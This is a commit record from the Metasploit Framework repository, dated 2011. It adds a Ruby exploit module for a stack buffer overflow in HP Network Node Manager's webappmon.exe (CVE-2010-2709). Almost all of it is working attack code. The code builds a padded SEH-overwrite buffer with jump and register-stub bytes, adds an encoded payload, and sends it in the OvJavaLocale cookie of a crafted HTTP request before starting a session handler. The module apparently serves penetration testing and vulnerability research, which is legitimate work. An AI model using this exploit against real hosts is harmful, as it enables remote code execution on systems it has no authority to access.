Added NNM webappmon.exe OvJavaLocale overflow

git-svn-id: file:///home/svn/framework3/trunk@12082 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-03-23 03:21:56 +00:00
parent 74e0d2f43e
commit 92d52daea8
1 changed files with 106 additions and 0 deletions

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
'Description' => %q{
This module exploits a stack-based overflow in HP NNM's webappmon.exe.
The vulnerability occurs when a long string of data is sent as OvJavaLocale's
cookie value, OvWww.dll fails to properly do any bounds checking before this
input is parsed in function OvWwwDebug(), which causes an overflow when
sprintf_new() is called.
'},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'Nahuel Riva',
'sinn3r'
],
'References' =>
[
['CVE', '2010-2709'],
['OSVDB', '66932'],
['OSVDB', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow'],
],
'Payload' =>
{
'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => { "BufferRegister"=>"ECX" }
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
"AutoRunScript" => "migrate -f",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D} ],
],
'Privileged' => false,
'DisclosureDate' => "Aug 3 2010"))
register_options(
[
Opt::RPORT(80),
], self.class)
end
def exploit
nops = make_nops(1000)*10
sploit = nops[0, 7044] #Padding
sploit << "\x74\x20\x42\x42" #JE jump 0x20 bytes
sploit << [target.ret].pack('V') #POP/POP/RET
sploit << nops[0, 26] #Padding
sploit << "\x61"*13 #POPAD x 13
sploit << "\x51" #PUSH ECX
sploit << "\xc3" #RETN
sploit << nops[0, 31] #Padding
sploit << payload.encoded #Payload
sploit << nops[0, 10000-sploit.length]
connect
print_status("Sending malicious request...")
send_request_raw({
"uri" => "/OvCgi/webappmon.exe",
"data" => "ins=nowait&sel=A&appB=&actC=&arg=&help=&cache=1600",
"version" => "1.1",
"method" => "GET",
"headers" => {
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "en-us,en;q=0.5",
"Accept-Encoding" => "gzip,deflate",
"Accept-Charset" => "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Keep-Alive" => "300",
"Connection" => "keep-alive",
"Cookie" => "OvJavaLocale=#{sploit}.Cp1252;OvWebSession=14150:AnyUser%3a",
"Cache-Control" => "max-age=0"
}
}, 2)
handler
disconnect
end
end